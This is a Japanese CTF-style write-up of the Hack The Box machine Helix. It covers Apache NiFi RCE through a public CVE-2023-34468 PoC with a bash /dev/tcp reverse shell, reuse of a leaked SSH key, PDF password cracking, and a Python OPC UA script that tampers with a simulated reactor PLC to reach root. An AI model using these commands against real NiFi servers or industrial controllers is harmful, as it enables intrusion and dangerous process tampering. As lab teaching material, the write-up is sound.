HTB Helix writeup
Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。
Summary
Section titled “Summary”Helix は Web で公開されている Apache NiFi から初期侵入し、NiFi の作業ディレクトリに残された operator 用 SSH 秘密鍵でユーザー権限へ移る box だった。権限昇格では operator が sudo で実行できるメンテナンスコンソールを確認し、その起動条件になっているローカル OPC UA ベースの PLC を操作して maintenance window を開く。
必要になった知識は、vhost 列挙、Apache NiFi / H2 Driver 経由の RCE、Linux のローカル列挙、sudo -l の読み方、PDF password cracking、OPC UA の address space / NodeId / VariantType の扱い。
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | Helix |
| Platform | Hack The Box |
| OS | Linux |
| Difficulty | Medium |
Attack Chain
Section titled “Attack Chain”10.129.245.123 ├─ 80/tcp nginx │ └─ vhost: flow.helix.htb │ └─ Apache NiFi 1.21.0 │ └─ CVE-2023-34468 / H2 Driver 経由で RCE │ └─ shell: nifi │ └─ /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak │ └─ SSH: operator │ ├─ user.txt │ ├─ sudo NOPASSWD: /usr/local/sbin/helix-maint-console │ └─ localhost:4840 OPC UA PLC │ └─ Mode/TestOverride/CalibrationOffset を操作 │ └─ /opt/helix/state/maintenance_window が開く │ └─ sudo helix-maint-console │ └─ root shellTarget
Section titled “Target”echo '10.129.245.123 helix.htb flow.helix.htb' | sudo tee -a /etc/hostsnmap -sS -A -p- --min-rate 10000 10.129.245.123 > helix.nmapcat helix.nmap重要な出力は以下。
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)80/tcp open http nginx 1.18.0 (Ubuntu)|_http-title: Did not follow redirect to http://helix.htb/見るべき点:
- 外部公開は SSH と HTTP のみ。
- HTTP は
helix.htbへ redirect しているため、名前ベースの virtual host を前提に進める。 - SSH は後段の credential reuse / 秘密鍵利用の入口になり得る。
Web Enumeration
Section titled “Web Enumeration”まず通常のディレクトリ列挙では、目立つ追加パスは見つからなかった。
feroxbuster -u http://helix.htb \ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \ -d 1200 GET 1117l 3956w 43341c http://helix.htb/そこで vhost を列挙した。
ffuf -u http://helix.htb \ -H "Host: FUZZ.helix.htb" \ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt \ -acflow [Status: 200, Size: 1068, Words: 110, Lines: 28]flow.helix.htb を開くと NiFi が動いていた。
curl -i http://flow.helix.htb/nifi/ | head -n 30HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)...<title>NiFi</title>...nf-canvas-all.css?1.21.0NiFi のバージョンは 1.21.0 と判断できる。
Initial Access - NiFi RCE
Section titled “Initial Access - NiFi RCE”NiFi 1.21.0 に対して、H2 Driver を利用する既知の RCE を使った。
git clone https://github.com/Jeanpt/CVE-2023-34468.gitcd CVE-2023-34468リバースシェルを待ち受ける。
nc -lvnp 6666PoC を実行する。
python3 exploit.py \ -t http://flow.helix.htb/nifi \ -c "bash -i >& /dev/tcp/10.10.16.45/6666 0>&1" \ -lh 10.10.16.45 \ -lp 6666 \ --driver-path "/opt/nifi-1.21.0/lib/h2-2.1.214.jar"シェルは nifi ユーザーとして得られた。
From nifi to operator
Section titled “From nifi to operator”ローカルユーザーを確認する。
cat /etc/passwd | grep -v nologin | grep -v falseroot:x:0:0:root:/root:/bin/bashsync:x:4:65534:sync:/bin:/bin/syncoperator:x:1001:1001::/home/operator:/bin/bashNiFi 配下を確認すると、support bundle に operator 用の秘密鍵バックアップが残っていた。
ls support-bundlescat support-bundles/operator_id_ed25519.bakoperator_id_ed25519.bak-----BEGIN OPENSSH PRIVATE KEY-----...-----END OPENSSH PRIVATE KEY-----これを手元に保存して権限を調整し、SSH で operator に入る。
chmod 600 ed25519ssh -i ./ed25519 operator@helix.htbcat ~/user.txtこれで user flag を取得できる。
NiFi flow configuration のメモ
Section titled “NiFi flow configuration のメモ”NiFi の設定には MaintenanceDB という H2 Database Connection Pooling Service も残っていた。
name: MaintenanceDBDatabase Connection URL: jdbc:h2:mem:maint;MODE=MySQL;DB_CLOSE_DELAY=-1Database Driver Class Name: org.h2.Driverdatabase-driver-locations: /opt/nifi-1.21.0/lib/h2-2.1.214.jarDatabase User: operatorPassword: enc{...}これは直接 root 取得に使ったわけではないが、maintenance、operator、H2 driver というキーワードがそろっており、NiFi の RCE と後段の maintenance 機構が同じテーマでつながっていることを示していた。
Local Enumeration as operator
Section titled “Local Enumeration as operator”sudo -l を確認する。
sudo -lUser operator may run the following commands on helix: (root) NOPASSWD: /usr/local/sbin/helix-maint-console実行ファイルを確認する。
ls -la /usr/local/sbin/helix-maint-consolecat /usr/local/sbin/helix-maint-console#!/bin/bashset -euo pipefail
FLAG="/opt/helix/state/maintenance_window"
read_until() { cat "$FLAG" 2>/dev/null || true; }
window_ok() { [ -f "$FLAG" ] || return 1 local until_ts now until_ts="$(read_until)" now="$(date +%s)" [[ "$until_ts" =~ ^[0-9]+$ ]] || return 1 [ "$now" -lt "$until_ts" ] || return 1 return 0}
if ! window_ok; then echo "Maintenance window CLOSED." exit 1fi
until_ts="$(read_until)"now="$(date +%s)"remaining=$((until_ts-now))
echo "[+] Privileged maintenance access granted"echo "[!] Window expires in ${remaining} seconds"echo "[!] Session will be terminated automatically"
SCOPE="helix-maint-$$"
systemd-run --quiet --scope --unit="$SCOPE" --property=KillMode=control-group --property=SendSIGHUP=yes \ /bin/bash -p -iこのスクリプトは root で実行できるが、常に root shell を出すわけではない。/opt/helix/state/maintenance_window というファイルが存在し、その中身が現在時刻より未来の UNIX timestamp である場合だけ、systemd-run 経由で /bin/bash -p -i を起動する。
そのまま実行すると閉じている。
sudo /usr/local/sbin/helix-maint-consoleMaintenance window CLOSED.つまり次の目標は、maintenance_window を開く条件を満たすことである。
Clues from the PDF
Section titled “Clues from the PDF”operator の home directory には PDF と画像があった。
ls'Operator Control & Safety Guide.pdf' 'control systems diagram.png' user.txtPDF はパスワード保護されていた。
pdfinfo "Operator Control & Safety Guide.pdf"qpdf --show-encryption "Operator Control & Safety Guide.pdf"Command Line Error: Incorrect password...stream encryption method: AESv3pdf2john と john でパスワードを取得した。
pdf2john "Operator Control & Safety Guide.pdf" > pdf.hashjohn --wordlist=/usr/share/wordlists/rockyou.txt pdf.hashoperator1 (Operator Control & Safety Guide.pdf)PDF には Helix Reactor Control System の操作条件が書かれていた。重要な変数は以下。
| 変数 | 意味 |
|---|---|
Temperature | reactor temperature |
Pressure | reactor pressure |
CalibrationOffset | maintenance 用の calibration bias |
TripActive | safety trip の状態 |
Mode | NORMAL / MAINTENANCE |
TestOverride | maintenance override |
ResetTrip | trip reset request |
maintenance window が開く条件は以下。
ModeをMAINTENANCEにする。TestOverrideを有効にする。CalibrationOffsetを徐々に上げる。Temperatureが約295°C、またはPressureが約73 barに到達する。- ただし trip threshold、つまり
Temperature >= 約305°CまたはPressure >= 約75 barを超えない。 TripActiveがFalseのままである。
ここで helix-maint-console の条件とつながる。PLC 側で maintenance window が成立すると、内部処理が /opt/helix/state/maintenance_window を作り、短時間だけ root maintenance console を使えるようになると推測できる。
Local OPC UA Service
Section titled “Local OPC UA Service”operator で listening port を確認すると、localhost の 4840/tcp が見える。
ss -antLISTEN 0 100 127.0.0.1:4840 0.0.0.0:*4840/tcp は OPC UA でよく使われるポートである。OPC UA は opc.tcp のバイナリプロトコルなので、nc 127.0.0.1 4840 のように手打ちしても操作できない。HTTP や Redis のような行指向プロトコルではないため、専用クライアントで address space を browse し、対象 NodeId に対して read / write する必要がある。
手元から扱いやすくするため、SSH port forward で転送する。
ssh -i ./ed25519 -N -L 4840:127.0.0.1:4840 operator@helix.htb以降、手元では opc.tcp://127.0.0.1:4840 に接続すればよい。
OPC UA Enumeration
Section titled “OPC UA Enumeration”最初に asyncua も試したが、全体を再帰的に browse すると timeout や disconnect が出やすかった。
Future for request id 10 is already doneException: Unhandled exception while sending request to OPC UA server同期版の opcua ライブラリの方が安定した。
uv venv --python 3.12 .venv-opcsource .venv-opc/bin/activatepip install opcuanamespace の確認
Section titled “namespace の確認”from opcua import Client
client = Client("opc.tcp://127.0.0.1:4840")client.connect()
try: print(client.get_namespace_array())finally: client.disconnect()['http://opcfoundation.org/UA/', 'urn:freeopcua:python:server', 'urn:helix:ot']OPC UA の NodeId は namespace index と identifier の組み合わせで表現される。ここでは urn:helix:ot が namespace index 2 なので、Helix 固有の PLC ノードは ns=2;... 配下にあると考えられる。
Object と Variable の違い
Section titled “Object と Variable の違い”ns=2;i=1 を root にして子を確認した。
from opcua import Client
client = Client("opc.tcp://127.0.0.1:4840")client.connect()
try: base = client.get_node("ns=2;i=1") for c in base.get_children(): print(c, c.get_display_name()) try: print(" value:", c.get_value()) except Exception as e: print(" value error:", e)finally: client.disconnect()ns=2;i=2 LocalizedText(... Text:Reactor) value error: "The attribute is not supported for the specified Node."(BadAttributeIdInvalid)ns=2;i=7 LocalizedText(... Text:Safety) value error: "The attribute is not supported for the specified Node."(BadAttributeIdInvalid)ns=2;i=11 LocalizedText(... Text:Control) value error: "The attribute is not supported for the specified Node."(BadAttributeIdInvalid)この BadAttributeIdInvalid は失敗ではない。Reactor / Safety / Control は Object node であり、値を持つ Variable node ではない。Object node はフォルダのような役割で、さらに下の Variable node を読む必要がある。
NodeId と型の列挙
Section titled “NodeId と型の列挙”ns=2;i=1 から ns=2;i=14 付近までが実体だったため、NodeClass・値・VariantType・access level を確認した。
from opcua import Client, uaimport time
client = Client("opc.tcp://127.0.0.1:4840")client.connect()
try: for i in range(1, 20): nodeid = f"ns=2;i={i}" node = client.get_node(nodeid) try: cls = node.get_node_class() name = node.get_display_name().Text print(f"{nodeid}: {name} [{cls}]") if cls == ua.NodeClass.Variable: print(" value:", repr(node.get_value())) print(" type :", node.get_data_type_as_variant_type()) print(" access:", node.get_access_level(), node.get_user_access_level()) except Exception as e: print(f"{nodeid}: {e}") time.sleep(0.05)finally: client.disconnect()重要な結果は以下。
ns=2;i=1: Plant [1]ns=2;i=2: Reactor [1]ns=2;i=3: TemperatureRaw [2] value: 283.50106407697126 type : VariantType.Double access: {CurrentRead} {CurrentRead}ns=2;i=4: Temperature [2] value: 283.59361357234354 type : VariantType.Double access: {CurrentRead} {CurrentRead}ns=2;i=5: Pressure [2] value: 68.97129508156843 type : VariantType.Double access: {CurrentRead} {CurrentRead}ns=2;i=6: CalibrationOffset [2] value: 0.0 type : VariantType.Double access: {CurrentRead, CurrentWrite} {CurrentRead, CurrentWrite}ns=2;i=7: Safety [1]ns=2;i=8: RodsInserted [2] value: False type : VariantType.Booleanns=2;i=9: EmergencyCooling [2] value: False type : VariantType.Booleanns=2;i=10: TripActive [2] value: False type : VariantType.Boolean access: {CurrentRead} {CurrentRead}ns=2;i=11: Control [1]ns=2;i=12: Mode [2] value: 'NORMAL' type : VariantType.String access: {CurrentRead, CurrentWrite} {CurrentRead, CurrentWrite}ns=2;i=13: TestOverride [2] value: False type : VariantType.Boolean access: {CurrentRead, CurrentWrite} {CurrentRead, CurrentWrite}ns=2;i=14: ResetTrip [2] value: False type : VariantType.Boolean access: {CurrentRead, CurrentWrite} {CurrentRead, CurrentWrite}[1] は Object、[2] は Variable を表している。書き込みに使うべきノードは CurrentWrite がある Variable node である。
今回の重要な対応表は以下。
| NodeId | Name | 型 | 用途 |
|---|---|---|---|
ns=2;i=4 | Temperature | Double | maintenance window 判定 |
ns=2;i=5 | Pressure | Double | maintenance window 判定 |
ns=2;i=6 | CalibrationOffset | Double | 徐々に上げる |
ns=2;i=10 | TripActive | Boolean | trip したか確認 |
ns=2;i=12 | Mode | String | MAINTENANCE に変更 |
ns=2;i=13 | TestOverride | Boolean | True に変更 |
ns=2;i=14 | ResetTrip | Boolean | trip 復旧用 |
VariantType を合わせて書き込む理由
Section titled “VariantType を合わせて書き込む理由”OPC UA の write では、値だけでなく型も重要である。たとえば Mode は String、CalibrationOffset は Double、TestOverride は Boolean である。Python の値をそのまま投げると、クライアント側の推測型とサーバが期待する VariantType がずれることがある。
そのため、各 node から get_data_type_as_variant_type() で期待される型を読み、ua.Variant(value, vt) として明示的に書き込む。
def set_typed(node, value): vt = node.get_data_type_as_variant_type() node.set_value(ua.DataValue(ua.Variant(value, vt)))Root via Maintenance Window
Section titled “Root via Maintenance Window”maintenance window を開くスクリプトは以下。
from opcua import Client, uaimport time
URL = "opc.tcp://127.0.0.1:4840"
N = { "TemperatureRaw": "ns=2;i=3", "Temperature": "ns=2;i=4", "Pressure": "ns=2;i=5", "CalibrationOffset": "ns=2;i=6", "TripActive": "ns=2;i=10", "Mode": "ns=2;i=12", "TestOverride": "ns=2;i=13", "ResetTrip": "ns=2;i=14",}
def set_typed(node, value): vt = node.get_data_type_as_variant_type() node.set_value(ua.DataValue(ua.Variant(value, vt)))
client = Client(URL)client.connect()
try: nodes = {k: client.get_node(v) for k, v in N.items()}
set_typed(nodes["Mode"], "MAINTENANCE") set_typed(nodes["TestOverride"], True) set_typed(nodes["CalibrationOffset"], 0.0) time.sleep(1)
offset = 0.0 while True: temp = float(nodes["Temperature"].get_value()) pres = float(nodes["Pressure"].get_value()) trip = bool(nodes["TripActive"].get_value()) mode = nodes["Mode"].get_value() override = nodes["TestOverride"].get_value()
print(f"mode={mode} override={override} temp={temp:.2f} pressure={pres:.2f} trip={trip} offset={offset:.2f}")
if trip: print("TRIPPED - stop") break
if (temp >= 295 or pres >= 73) and temp < 305 and pres < 75: print("maintenance window should be open now") time.sleep(10) break
offset += 0.5 set_typed(nodes["CalibrationOffset"], offset) time.sleep(0.7)
finally: client.disconnect()実行結果。
python3 x.pymode=MAINTENANCE override=True temp=283.99 pressure=69.04 trip=False offset=0.00mode=MAINTENANCE override=True temp=284.63 pressure=69.11 trip=False offset=0.50mode=MAINTENANCE override=True temp=285.24 pressure=69.16 trip=False offset=1.00...mode=MAINTENANCE override=True temp=294.60 pressure=69.37 trip=False offset=10.00mode=MAINTENANCE override=True temp=295.01 pressure=69.33 trip=False offset=10.50maintenance window should be open nowMode=MAINTENANCE、TestOverride=True の状態で CalibrationOffset を少しずつ上げると、Temperature が約 295 に到達した。この時点で TripActive=False かつ trip threshold 未満なので、PDF に書かれていた maintenance operating window の条件を満たす。
別ターミナルで、maintenance window が開く瞬間を待つ。
while true; do sudo /usr/local/sbin/helix-maint-console && break; sleep 0.2; doneMaintenance window CLOSED.[+] Privileged maintenance access granted[!] Window expires in 120 seconds[!] Session will be terminated automaticallyroot@helix:/tmp#root shell を取得できた。
cd /rootcat root.txtOPC UA Key Points
Section titled “OPC UA Key Points”この box の最後は、単に「値を書き換える」だけではなく、OPC UA の構造を正しく読む必要があった。
まず、4840/tcp は OPC UA の標準的なポートだが、テキストプロトコルではない。そのため nc で接続しても、意味のあるコマンドを手入力することはできない。opc.tcp://127.0.0.1:4840 に対応した OPC UA クライアントが必要だった。
次に、OPC UA の address space では、すべての node が値を持つわけではない。Plant、Reactor、Safety、Control は Object node であり、値を読むと BadAttributeIdInvalid が返る。これは「その node に Value 属性がない」という意味で、異常ではない。実際に操作する対象は、その配下にある Temperature や Mode のような Variable node である。
また、NodeId の対応を間違えると、表示上はそれらしく見えても window は開かない。たとえば Pressure として Temperature を読んだり、CalibrationOffset として Pressure を読んだりすると、しきい値判定だけが進んだように見える。最終的には列挙結果をもとに、CalibrationOffset = ns=2;i=6、TripActive = ns=2;i=10 のように正しく対応させる必要があった。
最後に、write では VariantType を合わせる必要がある。Mode は String、CalibrationOffset は Double、TestOverride は Boolean なので、ua.Variant(value, vt) でサーバが期待する型を明示して書き込むのが安定した。
Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”feroxbusterでは有効な追加パスは見つからず、vhost 列挙が必要だった。nc 127.0.0.1 4840では OPC UA を操作できない。専用クライアントが必要。asyncuaで address space 全体を再帰 browse すると timeout / disconnect が出やすかった。同期版opcuaで浅く NodeId を列挙した方が安定した。- Object node に
get_value()して出るBadAttributeIdInvalidは想定内。Variable node を探す。 - NodeId を 1 つずらして扱うと、
PressureやCalibrationOffsetの読み違いで maintenance window が開かない。
Cleanup Notes
Section titled “Cleanup Notes”ローカル側:
- SSH port forward を停止する。
.venv-opc/、pdf.hash、保存したed25519、検証用 Python script を不要なら削除する。
ターゲット側の PLC 状態を戻す場合は、OPC UA で以下を行う。
set_typed(nodes["CalibrationOffset"], 0.0)set_typed(nodes["TestOverride"], False)set_typed(nodes["Mode"], "NORMAL")trip している場合は、PDF の条件どおり Temperature < 約288、Pressure < 約70 まで待ち、ResetTrip を True にしてから False に戻す。
set_typed(nodes["ResetTrip"], True)time.sleep(0.5)set_typed(nodes["ResetTrip"], False)Credentials and Artifacts
Section titled “Credentials and Artifacts”| 種別 | 値 |
|---|---|
| Host | 10.129.245.123 |
| VHosts | helix.htb, flow.helix.htb |
| NiFi | Apache NiFi 1.21.0 |
| 初期 shell | nifi |
| SSH user | operator |
| SSH key artifact | /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak |
| PDF password | operator1 |
| sudo rule | (root) NOPASSWD: /usr/local/sbin/helix-maint-console |
| OPC UA endpoint | opc.tcp://127.0.0.1:4840 |
| user flag path | /home/operator/user.txt |
| root flag path | /root/root.txt |
Required Knowledge
Section titled “Required Knowledge”Final Thought
Section titled “Final Thought”この box では、通常の Web RCE からローカルの制御系プロトコルへ移る流れが重要だった。sudo -l で見つけたコマンドが直接 exploit できなくても、スクリプト内の条件を読むことで「何を満たせば root shell が出るのか」を明確にできる。
OPC UA では、ポート番号だけで判断せず、namespace、NodeId、NodeClass、VariantType、access level を順番に確認することが大事だった。特に Object node と Variable node の違い、CurrentWrite の有無、型を合わせた write は、今後同じような OT / PLC 系の box でも再利用できる考え方になる。

